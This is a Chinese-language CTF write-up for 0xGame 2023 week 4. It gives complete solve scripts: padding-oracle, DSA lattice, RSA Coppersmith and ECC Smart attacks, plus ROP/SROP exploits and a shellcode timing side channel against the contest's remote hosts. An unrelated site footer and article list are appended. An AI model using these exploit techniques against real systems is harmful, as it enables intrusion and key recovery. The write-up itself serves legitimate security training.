[0xGame 2023 公开赛道] week4 crypto/pwn/rev

最后一周结束了,难度也很大,已经超出我这认为的新生程度了。

crypto

Orac1e

先看题,题目先是给了加密过的flag然后提供不限次数的解密,不过仅提供解密后unpad的结果。

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from base64 import *
from Serve import *
from secret import flagdef pad(text):tmp = len(text)%16pad_num = 16 - tmptext += (pad_num)*bytes([pad_num])return textdef unpad(text):num = int(text[-1])if num == 0:return b'False'for i in range(1,num+1):if int(text[-i]) != num:return b'False'else:tmp = text[:-num]return b'Data update'def encrypt(plain_text, key):cipher = AES.new(key, AES.MODE_CBC, iv)cipher_text = cipher.encrypt(pad(plain_text))return iv + cipher_textdef decrypt(cipher_text, key):iv = cipher_text[:AES.block_size]cipher = AES.new(key, AES.MODE_CBC, iv)tmp = cipher.decrypt(cipher_text[AES.block_size:])result = unpad(tmp)return resultiv = get_random_bytes(AES.block_size)
key = get_random_bytes(16)class test(Task):def handle(self):if not self.proof_of_work():self.send(b'[!] Wrong!')returnsignal.signal(signal.SIGALRM, self.timeout_handler)signal.alarm(300)enc = encrypt(flag,key)self.send(b'Here are the secert:')self.send(b64encode(enc))self.send(b'May be you can send something to decrypt it?')while True:data = self.recv()try:self.send(decrypt(b64decode(data),key))except:self.send(b'invaild input')if __name__ == "__main__":HOST, PORT = '0.0.0.0', 10005server = ForkedServer((HOST, PORT), test)server.allow_reuse_address = Trueprint(HOST, PORT)server.serve_forever()

在块加密里一般都会使用pad对齐加密数据。方法一般是加n个凑足16,如果数据就是整16那就加16个chr(16),unpad的方法相反。

这题只提供了unpad那就是肯定要用到padding-oracle了。

AES_CBC模式会使用前一块的密文与当前块明文异或,然后再加密。那么修改前一块的密文实际上相当于修改当前块的明文。如果上传两块的话就是调整IV值。

先从尾字节开始,用密文-2段作IV,-1段密文,这时解密后当然成功,但当给IV异或1时相当于明文异或1,比方说明文尾部差两字节,pad了\x02\x02当给IV异或1后尾部变为\x02\x03这样在unpad时发再尾就不是3个\x03就会报错。所以从1开始向上修改尾字节。当尾部变为\x01时不发生报错,如果是1-16都试了都报错那尾部pad就是1。

当得到真实的pad后修改明文让它pad增加1位,比如由X\x02\x02改为X\x03\x03,这时候不断修改-3位的值,直到不报错,那这时候的明文就是\x03\x03\x03通过比较原值与异或后的值可以得到最后一个字符的值。

from pwn import *
from base64 import b64decode 
from hashlib import sha256
from itertools import product 
import string p = remote('43.139.107.237', 10005)
context.log_level = 'error'#proof
def proof():#[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3p.recvuntil(b'sha256(XXXX+')tail = p.recvuntil(b') == ', drop=True)s256 = p.recvline().strip().decode()print(tail, s256)s = string.ascii_letters+string.digitsfor i,j,k,l in product(s, repeat=4):v = (i+j+k+l).encode()#print(v)if sha256(v+tail).hexdigest() == s256:p.sendlineafter(b'[+] Plz tell me XXXX: ', v)break proof()#取密文
p.recvuntil(b'Here are the secert:\n')
enc = b64decode(p.recvline().strip().decode())
print('enc:', enc.hex())p.recvline() #(b'May be you can send something to decrypt it?\n')#先爆破尾字节,看padding的长度 对前一断尾字节异或,当明文尾为\x01是unpad通过
def decrypt(msg):p.sendlineafter(b'> ', b64encode(msg))return p.recvline()cs = [enc[i:i+16] for i in range(0,len(enc),16)]
print(cs)iv,cipher = cs[-2],cs[-1]
for i in range(1,256):tiv = iv[:15] + bytes([iv[15]^i])msg = decrypt(tiv+cipher)if b'Data ' in msg:print('x:',i^1)padlen = i^1break def get_v(iv,cipher, padlen):plain = [0]*(16-padlen) + [padlen]*padlen for i in range(16-padlen):pad_v = padlen + 1 + i #尾部需要pad的值pad_s = 16 - pad_v #爆破的位置pad_n = [0]*(16-pad_v) + [pad_v]*pad_v for j in b'0123456789abcdef{}-xGm':plain[pad_s] = j msg = decrypt(xor(bytes(plain),bytes(pad_n),iv)+cipher)if b'Data' in msg:print('x:', bytes(plain))breakprint(bytes(plain))return bytes(plain)flag = get_v(iv,cipher, padlen)
cs.pop()
while len(cs)>=2:iv,cipher = cs[-2],cs[-1]flag = get_v(iv,cipher,0) + flagcs.pop()print(flag)

LLL-Third Blood

这是个DSA签名的题,主程序提供签名,验签和验admin签给flag功能

    def handle(self):signal.signal(signal.SIGALRM, self.timeout_handler)signal.alarm(300)if not self.proof_of_work():self.send(b'[!] Wrong!')returnself.send(MENU.encode())self.send(b'Here are your public key:')self.send(f'q={GAME.q}\np={GAME.p}\ng={GAME.g}\ny={GAME.y}'.encode())while True:self.send(b'What you want to choice?')code = self.recv()if code == b'S':self.send(b'What you want to sign?')msg = self.recv()if msg == b'admin':self.send(b'Permission denied!')self.send(b'Are you trying hack me?No way!')quit()self.send(b'Here are your signature:')s,r = GAME.sign(msg)self.send(f's = {s}'.encode())self.send(f'r = {r}'.encode())elif code == b'V':self.send(b"Let's check your signature.")self.send(b'Tell me your message:')msg = self.recv()self.send(b'Tell me the signature (s,r):')s = int(self.recv())r = int(self.recv())if GAME.verify(msg,s,r):self.send(b'OK,it work')else:self.send(b'Something wrong?')elif code == b'C':self.send(b"Tell me the signature of 'admin'")s = int(self.recv())r = int(self.recv())if GAME.verify(b'admin',s,r):self.send(b'Congratulations!You are Master of Cryptography!')self.send(b'Here are your flag:')self.send(flag)quit()else:self.send(b'It seems Something wrong?')else:self.send(b'invaild input')

DSA签名部分是比较正确的签名

r = g^k mod q (k是随机变量)

s = k^-1 *(H(m)+r*x) mod q 求x H采用的是sha1

from Crypto.Util.number import *
from random import getrandbits,randint
from hashlib import sha1
from secret import pri_keyclass DSA:def __init__(self):self.q = getPrime(160)while True:tmp = self.q*getrandbits(864)if isPrime(tmp+1):self.p = tmp+1breakself.x = pri_keyassert self.p%self.q == 1h = randint(1,self.p-1)self.g = pow(h,(self.p-1)//self.q,self.p)self.y = pow(self.g,self.x,self.p)def sign(self,m):H = bytes_to_long(sha1(m).digest())k = getrandbits(128)r = pow(self.g,k,self.p)%self.qs = (inverse(k,self.q)*(H+r*self.x))%self.qreturn (s,r)def verify(self,m,s_,r_):H = bytes_to_long(sha1(m).digest())u1 = (inverse(s_,self.q)*H)%self.qu2 = (inverse(s_,self.q)*r_)%self.qr = (pow(self.g,u1,self.p)*pow(self.y,u2,self.p))%self.p%self.qif r == r_:return Trueelse:return False

 这和正常的DSA签名没什么不同,只是k使用的random取的值,这个值有些问题但是不大,因为取不到这个值。最大的问题是x的值很小(这个题目没说,但如果太大可能还真弄不出来)

解法就是造一个格,然后规约,这是K是128位,q是160位,K/q这项就直接填1了,得到x以后随便整个r签个s就行了。

\begin{vmatrix} q & & ... & & \\ & q & ... & & \\ ... & ... & ... & ... & ...\\ A1 & A2 ... & ... & K/q & \\ B1 & B2 & ... & & K \end{vmatrix}

from hashlib import sha1,sha256
from Crypto.Util.number import *
from random import getrandbits,randint
from itertools import product as iproduct
from sage.all import *
from pwn import *def proof_of_work_2(suffix, hash): # sha256, suffix, known_hashtable = string.ascii_letters+string.digitsfor i,j,k,l in iproduct(table, repeat=4):v = (i+j+k+l).encode()if sha256((v+tail)).hexdigest() == s256:print('found:',v)return vdef get_sign(msg):io.sendlineafter(b'> ', b'S')io.sendlineafter(b'> ', msg)io.recvuntil(b's = ')s = int(io.recvline().strip())io.recvuntil(b'r = ')r = int(io.recvline().strip())return s,rdef sign(m,x):H = bytes_to_long(sha1(m).digest())k = 1r = int(g%q)s = (inverse_mod(k,q)*(H+r*x))%qreturn (s,r)io = remote('43.139.107.237', 10004)
context.log_level = 'debug'#proof
io.recvuntil(b'[+] sha256(XXXX+')
tail = io.recvuntil(b') == ', drop=True)
s256 = io.recvline().strip().decode()
print(tail, s256)
head = proof_of_work_2(tail, s256)
io.sendlineafter(b'[+] Plz tell me XXXX: ', head)
io.recvuntil(b'Here are your public key:\n')
#q p g y
q = int(io.recvline().split(b'=')[1])
p = int(io.recvline().split(b'=')[1])
g = int(io.recvline().split(b'=')[1])
y = int(io.recvline().split(b'=')[1])
print(q,p,g,y)#1, 获取40个
H = bytes_to_long(sha1(b'0').digest())
A = []
B = []
for i in range(40):s,r = get_sign(b'0')A.append(inverse_mod(s,q)*r%q)B.append(inverse_mod(s,q)*H%q)M = matrix(ZZ, 42,42)
for i in range(40):M[i,i] = q M[-2,i] = A[i]M[-1,i] = B[i]M[-2,-2] = 1 #K/q 
M[-1,-1] = 2^128 v = M.LLL()
x = int(v[0][-2])
print('x:', x)
s,r = sign(b'admin', x)io.sendlineafter(b'> ', b'C')
io.sendlineafter(b'> ', str(s).encode())
io.sendlineafter(b'> ', str(r).encode())io.interactive()

Danger Leak

题目又回到RSA上,在一个标准的RSA上,泄露了一个M :d = M*d1 + d0

from random import *
from secret import flag
from Crypto.Util.number import *m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
while True:M = getrandbits(954)d0 = getrandbits(70)d1 = getrandbits(60)d = M * d1 + d0e = inverse(d, (p - 1) * (q - 1))if GCD(d,phi) == 1:breakc = pow(m,e,n)
print(f'n = {n}')
print(f'e = {e}', )
print(f'c = {c}')
print(f'leak={M}')

这里既然M和d有关就推一下d

ed = 1 mod phi =>  e*(d1*M+d0) = 1 + k(n-p-q+1) 

整理一下

e*d1*M + e*d0 - kn +k(p+q-1) -1 == 0 

对式取e*M模

e*d0 - kn + k(p+q-1) -1 = 0 mod e*M 

然后对参数换一下变成比较标准的形式

e*x - y*n +y*z - 1 == 0 mod e*M 

x = d0; y=k;z=p+q-1

这里x,z的界是已知的,y的界需要确定,根据第1个展开式y<e*d1*M/n 所以y上限是2*e*M*2^60//n 

然后用多元coppersmith方法求出x,y,z,这里由于z=p+q-1所以n-z = phi也就能直接求解了。

n = 20890649807098098590988367504589884104169882461137822700915421138825243082401073285651688396365119177048314378342335630003758801918471770067256781032441408755600222443136442802834673033726750262792591713729454359321085776245901507024843351032181392621160709321235730377105858928038429561563451212831555362084799868396816620900530821649927143675042508754145300235707164480595867159183020730488244523890377494200551982732673420463610420046405496222143863293721127847196315699011480407859245602878759192763358027712666490436877309958694930300881154144262012786388678170041827603485103596258722151867033618346180314221757
e = 18495624691004329345494739768139119654869294781001439503228375675656780205533832088551925603457913375965236666248560110824522816405784593622489392063569693980307711273262046178522155150057918004670062638133229511441378857067441808814663979656329118576174389773223672078570346056569568769586136333878585184495900769610485682523713035338815180355226296627023856218662677851691200400870086661825318662718172322697239597148304400050201201957491047654347222946693457784950694119128957010938708457194638164370689969395914866589468077447411160531995194740413950928085824985317114393591961698215667749937880023984967171867149
c = 7268748311489430996649583334296342239120976535969890151640528281264037345919563247744198340847622671332165540273927079037288463501586895675652397791211130033797562320858177249657627485568147343368981852295435358970875375601525013288259717232106253656041724174637307915021524904526849025976062174351360431089505898256673035060020871892556020429754849084448428394307414301376699983203262072041951835713075509402291301281337658567437075609144913905526625759374465018684092236818174282777215336979886495053619105951835282087487201593981164477120073864259644978940192351781270609702595767362731320959397657161384681459323
M =136607909840146555806361156873618892240715868885574369629522914036807393164542930308166609104735002945881388216362007941213298888307579692272865700211608126496105057113506756857793463197250909161173116422723246662094695586716106972298428164926993995948528941241037242367190042120886133717def small_roots(f, bounds, m=1, d=None):if not d:d = f.degree()R = f.base_ring()N = R.cardinality()f /= f.coefficients().pop(0)f = f.change_ring(ZZ)G = Sequence([], f.parent())for i in range(m + 1):base = N ^ (m - i) * f ^ ifor shifts in itertools.product(range(d), repeat=f.nvariables()):g = base * prod(map(power, f.variables(), shifts))G.append(g)B, monomials = G.coefficient_matrix()monomials = vector(monomials)factors = [monomial(*bounds) for monomial in monomials]for i, factor in enumerate(factors):B.rescale_col(i, factor)B = B.dense_matrix().LLL()B = B.change_ring(QQ)for i, factor in enumerate(factors):B.rescale_col(i, 1 / factor)H = Sequence([], f.parent().change_ring(QQ))for h in filter(None, B * monomials):H.append(h)I = H.ideal()if I.dimension() == -1:H.pop()elif I.dimension() == 0:roots = []for root in I.variety(ring=ZZ):root = tuple(R(root[var]) for var in f.variables())roots.append(root)return rootsreturn []'''
d = M*d1 + d0 
由于 e*d = 1 mod phi => e*d = 1 + k(n -p-q+1)
e*M*d1 + e*d0 == 1 + k*n - k*(p+q-1)
以e*M为模设参数
e*d0 - k*n + k*(p+q-1) - 1 = o mod e*M ^    ^     ^    ^x    y     y    z 
=> e*x -y*n + y*z - 1 == 0 mod e*M 用三元coppersmith求解(函数同二元)
计算x,y,z的界
y < e*M*d1 // n 
'''
y = (2*e*M*2^60)//n
#print(y.nbits()) 1015 确定y的界
bounds = (1<<70, 1<<1015, 1<<1024)R = Integers(M*e)
P.<x,y,z> = PolynomialRing(R)
f = e*x - n*y + y*z - 1
res = small_roots(f, bounds, 3,3)[0]
p_q_1 = int(res[2])  #p+q-1
phi = n- p_q_1 
d = inverse_mod(e,phi)
m = pow(c,d,n)
flag = bytes.fromhex(hex(m)[2:])
print(flag)
#0xGame{a9e1f260f845be84f56ff06b165deb80}

Normal ECC

一个椭圆曲线减法的题,前两天刚作了一个,这几个新生赛,好多东西是重的,你打了这个比赛那个比赛的题就能秒。

题目给了一条曲线,基点G,K = r*G 其中r未知并给出C1 = M + r*K ;C2 = r*G并给了个提示E.order()==p

椭圆曲线题一般有两种算法,不过Smart算法并不常见,因为很难见着一个秩和模相同的题,这样似乎过于简单了。

from Crypto.Util.number import getPrime
from Crypto.Cipher import AES
from random import getrandbits
from hashlib import md5
from secret import flag,Mdef MD5(m):return md5(str(m).encode()).hexdigest()
assert '0xGame{'+MD5(M[0])+'}' == flag
p = 11093300438765357787693823122068501933326829181518693650897090781749379503427651954028543076247583697669597230934286751428880673539155279232304301123931419
a = 490963434153515882934487973185142842357175523008183292296815140698999054658777820556076794490414610737654365807063916602037816955706321036900113929329671
b = 7668542654793784988436499086739239442915170287346121645884096222948338279165302213440060079141960679678526016348025029558335977042712382611197995002316466
assert p>a
assert p>b
E = EllipticCurve(GF(p),[a,b])
assert E.order() == p
M = E(M)G = E.random_point()
k = getPrime(int(128))
K = k*G
r = getrandbits(64)C1 = M + r*K
C2 = r*Gprint(f'p={p}\na={a}\nb={b}')
print(f'G={G.xy()}')
print(f'K={K.xy()}')
print(f'C1={C1.xy()}')
print(f'C2={C2.xy()}')

从C2和G可以求出r然后得到r*K,不过这有个小坑,前两天作了,对于阿贝尔群C = A+B你不能直接用C-A来求B,需要C+(-A)这个-A就是A点对x轴的对称点也就是y取反

from hashlib import md5
def MD5(m):return md5(str(m).encode()).hexdigest()p=11093300438765357787693823122068501933326829181518693650897090781749379503427651954028543076247583697669597230934286751428880673539155279232304301123931419
a=490963434153515882934487973185142842357175523008183292296815140698999054658777820556076794490414610737654365807063916602037816955706321036900113929329671
b=7668542654793784988436499086739239442915170287346121645884096222948338279165302213440060079141960679678526016348025029558335977042712382611197995002316466
G=(4045939664332192284605924284905750194599514115248885617006435833400516258314135019849306107002566248677228498859069119557284134574413164612914441502516162, 2847794627838984866808853730797794758944159239755903652092146137932959816137006954045318821531984715562135134681256836794735388745354065994745661832926404)
K=(9857925495630886472871072848615069766635115253576843197716242339068269151167072057478472997523547299286363591371734837904400286993818976404285783613138603, 9981865329938877904579306200429599690480093951555010258809210740458120586507638100468722807717390033784290215217185921690103757911870933497240578867679716)
C1=(4349662787973529188741615503085571493571434812105745603868205005885464592782536198234863020839759214118594741734453731681116610298272107088387481605173124, 10835708302355425798729392993451337162773253000440566333611610633234929294159743316615308778168947697567386109223430056006489876900001115634567822674333770)
C2=(5193866657417498376737132473732737330916570240569047910293144235752602489388092937375844109374780050061859498276712695321973801207620914447727053101524592, 684299154840371832195648774293174908478389728255128448106858267664482339440737099810868633906297465450436417091302739473407943955874648486647511119341978)E = EllipticCurve(GF(p),[a,b])
G = E(G)
K = E(K)
C1 = E(C1)
C2 = E(C2)
#求r
#E_order == pdef SmartAttack(P,Q,p):E = P.curve()Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)for P_Qp in P_Qps:if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:breakQ_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)for Q_Qp in Q_Qps:if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:breakp_times_P = p*P_Qpp_times_Q = p*Q_Qpx_P,y_P = p_times_P.xy()x_Q,y_Q = p_times_Q.xy()phi_P = -(x_P/y_P)phi_Q = -(x_Q/y_Q)k = phi_Q/phi_Preturn ZZ(k)
#C2 = r*G
r = SmartAttack(G,C2,p)#C1 = M + r*K
rK = r*K 
x,y = rK.xy()
rK_ = E((x,-y))
M = C1 + rK_'0xGame{'+MD5( M.xy()[0] )+'}'#0xGame{6f2b3accf11a8cb7a9d3c7b159bc6c6c}

pwn 

SROP

这题说难不难,不过卡了很久,因为一个小坑。

程序只有一个read,显然是溢出,不过名字叫srop显然是要用srop可几乎给了所有的gadget pop rdi;pop rsi;pop rax;syscall ret;全有。全有谁还用srop多麻烦直接orw不好吗。不过一直打不通 。后来跟的时候发现问题不在这,在于平常为了读入方便避免两次读被合并,一般填充到读的长度。过这题用的syscall并不会读到2304,经测试差了0x34c,于是就好办了

from pwn import *#p = process('./srop')
p = remote('8.130.35.16', 53002)
context(arch='amd64', log_level='debug')elf = ELF('./srop')
libc = ELF('./libc-2.31.so')pop_rdi = 0x0000000000401443 # pop rdi ; ret
pop_rsi = 0x0000000000401441 # pop rsi ; pop r15 ; ret
pop_rbp = 0x000000000040138d # pop rax ; ret
pop_rax = 0x000000000040138a # pop rax ; ret
syscall = 0x401385 #syscall ret
leave_ret = 0x4013d4bss = 0x404200
pay = b'\x00'*0x8 + flat([bss, pop_rdi, 0,     pop_rsi,bss,0,       pop_rax,0, syscall, pop_rdi, bss,   pop_rsi,0,0,         pop_rax,2, syscall, pop_rdi, 3,     pop_rsi,bss,0,       pop_rax,0, syscall,pop_rdi, 1,     pop_rsi,bss,0,       pop_rax,1, syscall])
p.send(pay.ljust(0x900-0x34c, b'A') + b'/flag\x00')   #实际读入时,比0x900少0x34c 可以分两次写中间sleep(0.2)
p.interactive()

结束了

元素比较全有沙箱,有canary,有printf,有短溢出

思路比较简单,先printf得到想要的地址,然后溢出移栈执行前部的ROP,作个ORW绕过sandbox就行了

from pwn import *#p = process('./ret2libc-revenge')
p = remote('8.130.35.16', 53004)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x5555555554bc\nc')libc = ELF('./libc.so.6')p.sendafter(b"First give me your name:\n", b'%13$p%15$p%12$p,')
print(p.recvuntil(b'0x'))canary = int(p.recvuntil(b'0x', drop=True),16)
libc.address = int(p.recvuntil(b'0x', drop=True),16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recvuntil(b',', drop=True),16) - 0x100 - 0x30
print(f"{canary= :x} {stack = :x} {libc.address = :x}")pop_rdi = next(libc.search(asm('pop rdi;ret')))
pop_rsi = next(libc.search(asm('pop rsi;ret')))
pop_rdx = libc.address + 0x142c92 #next(libc.search(asm('pop rdx;ret')))
leave_ret = next(libc.search(asm('leave;ret')))pay = flat(pop_rdi, 0, pop_rsi, stack+0x30, pop_rdx, 0x100,libc.sym['read'], canary, stack-8, leave_ret)
p.sendafter(b"A good name! Then give me your intro:\n", pay)pay = flat([b'/flag'.ljust(8, b'\x00'), pop_rdi, stack+0x30, pop_rsi,0, libc.sym['open'],pop_rdi, 3, pop_rsi, stack+0x200, pop_rdx, 0x50, libc.sym['read'],pop_rdi, 1, pop_rsi, stack+0x200, pop_rdx, 0x50, libc.sym['write']])p.send(pay)p.interactive()

 这里有个小坑,由于动态加载pop rdx要从libc里找,而用libc.search找到的似乎不能用,可以用rop_gadget找然后写上相对地址。

爱你在心口难开

这题不知道是不是非预期了,总之弄得很麻烦

一个orw的题,不过没给文件名。

可以读入10个字节,然后去执行。10个字节可以利用残留的寄存器实现一个read,也就够了。然后在ORloop进行侧信道攻击。另一人比赛是没告诉文件名,用getdents也是这个侧信道攻击,显然比这个麻烦1倍要先爆破文件名。这题直接利用那个程序。几乎没改。

这种侧信道不太侧,是比较正的方式,把flag读入内存,然后判断是不是指定值,如果不是就退出,是就进入死循环。这样就可以判断是不是那个字符。 当然可以用二分法,写代码的时间会长点,运行时间会短点。

from pwn import *context(arch='amd64', log_level='error')def read_v(offset, v):p = remote('8.130.35.16', 54000)#p = process('./lenlim')#读文件pay2 = shellcraft.open('flag')+shellcraft.read('rax',target,0x40)pay2 += f'lab: mov rax, 0x{offset:x};mov cl,byte ptr [rax]; cmp cl, {v}; je lab;' + shellcraft.exit(0)s2 = b'\x90'*0x10+asm(pay2)pay = "xor edi,edi;push rdx;pop rsi;syscall;"p.sendafter(b"Now show me your code:\n", asm(pay).ljust(0x10, b'\x90')+s2)p.recvline()#pause()try:p.recv(timeout=0.3)p.close()#p.interactive()return Trueexcept:p.close()return Falsetarget = 0x20230200 #写目录和文件
name = 'flag'dic = b'0123456789-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}' 
name = '0xGame{'
for _ in range(50):for i in dic:if read_v(target+len(name), i):name += chr(i)print('name:',name)breakelse:print(chr(i), end=' ')#break#break

SROP-revenge

这个题是上个SROP的补漏版。因为上题没有人用SROP。题目基本一样就是init那块的ppp6去掉了,这样就没有错位形成的pop rdi;pop rsi了。回到srop上

srop就是用sigreturn恢复现场的方法填充寄存器也就是执行syscall 15后边跟一堆寄存器值,填充以后就会到新的rip位置执行了。

非让用srop那就orw全用

from pwn import *#p = process('./srop-revenge')
p = remote('8.130.35.16', 55003)
context(arch='amd64', log_level='debug')#gdb.attach(p, 'b*0x4013d4\nc')elf = ELF('./srop-revenge')set_rax = 0x40138e #push 0xf; pop rax ; ret
syscall = 0x40138b #syscall ret#题目没有/bin/sh 先通过移栈,让payload可以带/bin/sh 
bss = 0x404200
pay = b'\x00'*0x8 + flat(bss, 0x4013b5)
p.send(pay)
sleep(0.5)#题目没有syscall;ret 调用plt.syscall会进制寄存器前移 rax<-rdi<-rsi<-rdx<-rcx; r10<-r8<-r9<-[rsp+8] 
#这个题给了syscall;ret 
frame1 = SigreturnFrame()
frame1.rax = 2
frame1.rdi = bss-8
frame1.rsi = 0
frame1.rsp = bss + 0x110  #rsp跳到下一块继续执行
frame1.rip = syscallframe2 = SigreturnFrame()
frame2.rax = 0
frame2.rdi = 3
frame2.rsi = bss+0x400
frame2.rdx = 0x40
frame2.rsp = bss + 0x218  
frame2.rip = syscallframe3 = SigreturnFrame()
frame3.rax = 1
frame3.rdi = 1
frame3.rsi = bss + 0x400
frame3.rdx = 0x40
frame3.rsp = bss + 0x320 
frame3.rip = syscallpay = b'flag'.ljust(8, b'\x00') + flat(0x404200, set_rax, syscall, frame1, set_rax, syscall, frame2, set_rax, syscall, frame3)
p.send(pay)
#p.recvline()
p.interactive()

rev

序列9-二进制学徒

不知道为啥最后一周还放这个东西

序列8-代码悟道者

第二题同理,可以看到变表的base64和表,不过厨子不喜欢-_但密文里也没出现,直接换正常的+/就行

序列7-指令神使

直接给了密文,加密方法一看便知ROT13

__int64 __fastcall sub_140001118(_BYTE *a1)
{_BYTE *v1; // r8__int64 result; // raxint v3; // ecxv1 = a1;LOBYTE(a1) = *a1;while ( (_BYTE)a1 ){result = (unsigned int)((_DWORD)a1 - 97);if ( (unsigned __int8)((_BYTE)a1 - 97) <= 0x19u ){v3 = (char)a1 - 84;result = (unsigned int)(26 * (v3 / 26));LODWORD(a1) = v3 % 26;*v1 = (_BYTE)a1 + 97;}LOBYTE(a1) = *++v1;}return result;
}

序列6-内存星旅者 

问了下别人终于解决了,在代码中发现他会删文件

在删文件前下断点,从指定目录里拿到文件  

这文件是个乱码(一开始的附件只有几个字节,显然不正确,刚发现改附件了。应该是那个附件在我机子上运行不正确,其它的环境可能不影响,我这win11太可怕了),在主程序第1个函数判断里有个a1 == 0x1CF410 应该是运行参数

 

看着乱码乱得很有规律,用这个数去异或

from pwn import xor,p32 
key = 0x1CF410
data = open('flag.txt','rb').read()key = p32(key)
print(xor(data[7:-1],key))#b'd5db2892-a47f-0c87-0b62-5723c9e1c2b9'#在B55下断点 deletefile前,从c:\user\xxx\appdata\temp\flag 取到文件
#main 0x9a7 处   if ( *a3 == 0x1CF410 ) 取出key

 

序列5-算法祭司

.net写的程序用dnSpy打开看到源码

// 算法祭司.Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void Main(string[] args)
{string encryptedKey = Resource1.encryptedKey;StringBuilder stringBuilder = new StringBuilder();foreach (char c in encryptedKey){stringBuilder.Append(c ^ 'f');}string s = stringBuilder.ToString();Console.WriteLine("请输入正确的咒语:");string s2 = Console.ReadLine();using (DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider()){descryptoServiceProvider.Key = Encoding.UTF8.GetBytes(s);descryptoServiceProvider.IV = Encoding.UTF8.GetBytes(encryptedKey);byte[] bytes = Encoding.UTF8.GetBytes(s2);string a = Convert.ToBase64String(descryptoServiceProvider.CreateEncryptor().TransformFinalBlock(bytes, 0, bytes.Length));string b = "s7/e+JnJbGEdE9j2g3XHxgym+G6Fu/PjJuW80NeMKgemdqaWG9KVM8Tfcc0eRfaA";if (a == b){Console.WriteLine("恭喜,你成功了!");}else{Console.WriteLine("哦不,你的输入并不正确~");}}Console.WriteLine("请按任意键退出...");Console.ReadKey();
}

他调用了标准库里的des和base64其中密钥是和f异或的结果在资源里找到密钥

#DES+base64
key = xor(b'f', b"STV>!'+#")
iv = b"STV>!'+#"
enc = "s7/e+JnJbGEdE9j2g3XHxgym+G6Fu/PjJuW80NeMKgemdqaWG9KVM8Tfcc0eRfaA"

然后拿个软件解密就行,因为是标准库不用写代码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/178991.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux | 文件系统

目录 前言 一、预备知识 二、文件相关的系统调用 1、C语言的文件操作 2、系统调用接口 &#xff08;1&#xff09;open函数 &#xff08;2&#xff09;close函数 &#xff08;3&#xff09;write函数 &#xff08;4&#xff09;read函数 3、代码实操 三、深入理解文…

高浓度化工废水处理工艺是怎样的

高浓度化工废水处理工艺主要包括以下步骤&#xff1a; 预处理&#xff1a;通过物理、化学和生物等方法对废水进行预处理&#xff0c;以去除其中的悬浮物、油污、重金属等有害物质。常用的预处理方法包括沉淀、过滤、吸附、氧化等。化学氧化&#xff1a;利用氧化剂&#xff08;…

“没有酒瓶”的新春礼酒,泸州老窖的颠覆性之作

执笔 | 萧 萧 编辑 | 扬 灵 没有想到&#xff0c;新春礼酒还能跳出生肖酒造型桎梏&#xff0c;开创出“没有酒瓶的白酒”。 没有想到&#xff0c;即将要发布的新品就“藏”在每一位参会者都触手可及的餐桌正中。 没有想到&#xff0c;首发定价如此“实诚”&#xff0c;加…

【Git企业开发】第五节.远程操作

文章目录 前言一、理解分布式版本控制系统二、远程仓库 2.1 新建远程仓库 2.2 克隆远程仓库 2.3 向远程仓库推送 2.4 拉取远程仓库总结 前言 一、理解分布式版本控制系统 我们目前所说的所有内容(工作区&#xff0c;暂存区&#xff0c;版本库等等)&#x…

Django-vue-admin 滚动监听,锚点定位目录

就是实现滑动内容&#xff0c;目录也跟着滚动&#xff0c;同时点击目录&#xff0c;内容会滑动到指定位置 试过很多&#xff0c;反正都不适用Django-vue-admin框架&#xff0c;唯有这个功能可以&#xff0c;只是样式按照自己想要的改改就行&#xff0c; https://blog.csdn.ne…

如何让企业配件管理高效又智能!仓库配件出入库管理系统哪家的好用?

在当今快速发展的商业环境中&#xff0c;企业运营的效率和管理的重要性日益凸显。对于许多企业来说&#xff0c;仓库配件管理是一个关键的环节&#xff0c;它不仅涉及到物品的存储和分发&#xff0c;还与企业的成本控制和运营流程紧密相关。然而&#xff0c;管理仓库配件是一项…

NEFU数字图像处理(3)图像分割

一、图像分割的基本概念 1.1专有名词 前景和背景 在图像分割中&#xff0c;我们通常需要将图像分为前景和背景两个部分。前景是指图像中我们感兴趣、要分割出来的部分&#xff0c;背景是指和前景不相关的部分。例如&#xff0c;对于一张人物照片&#xff0c;人物就是前景&…

R语言在生态环境领域中的实践技术应用

R语言作为新兴的统计软件&#xff0c;以开源、自由、免费等特点风靡全球。生态环境领域研究内容广泛&#xff0c;数据常多样而复杂。利用R语言进行多元统计分析&#xff0c;从复杂的现象中发现规律、探索机制正是R的优势。为此&#xff0c;以鱼类、昆虫、水文、地形等多样化的生…

Git 标签(Tag)实战:打标签和删除标签的步骤指南

目录 前言使用 Git 打本地和远程标签&#xff08;Tag&#xff09;删除本地和远程 Git 标签&#xff08;Tag&#xff09;开源项目标签&#xff08;Tag&#xff09;实战打标签删除标签 结语开源微服务商城项目前后端分离项目 前言 在开源项目中&#xff0c;版本控制是至关重要的…

【免费活动】11月4日敏捷武林上海站 | Scrum.org CEO 亲临现场

活动介绍 过去的几年里&#xff0c;外界的风云变幻为我们的生活增添了一些不一样的色彩。在VUCA世界的浪潮里&#xff0c;每一个人都成为自己生活里的冒险家。面对每一次的变化&#xff0c;勇于探索未知&#xff0c;迎接挑战&#xff0c;努力追逐更好的自己。 七月&#xff0…

同城售后系统退款业务重构心得 | 京东云技术团队

